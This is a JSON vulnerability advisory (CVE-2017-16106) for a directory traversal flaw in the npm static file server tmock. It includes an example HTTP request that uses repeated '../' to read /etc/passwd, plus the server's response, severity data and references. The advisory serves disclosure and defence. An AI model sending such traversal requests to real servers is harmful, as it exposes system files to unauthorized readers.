{"id":"GHSA-j6w4-pg6p-5mrv","summary":"Directory Traversal in tmock","details":"`tmock` is a static file server.\n\n`tmock` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","aliases":["CVE-2017-16106"],"modified":"2023-11-08T03:59:05.223150Z","published":"2018-07-23T23:51:04Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2020-06-16T21:42:20Z","nvd_published_at":null,"cwe_ids":["CWE-22"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16106"},{"type":"WEB","url":"https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/tmock"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j6w4-pg6p-5mrv"},{"type":"WEB","url":"https://www.npmjs.com/advisories/375"}],"affected":[{"package":{"name":"tmock","ecosystem":"npm","purl":"pkg:npm/tmock"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-j6w4-pg6p-5mrv/GHSA-j6w4-pg6p-5mrv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}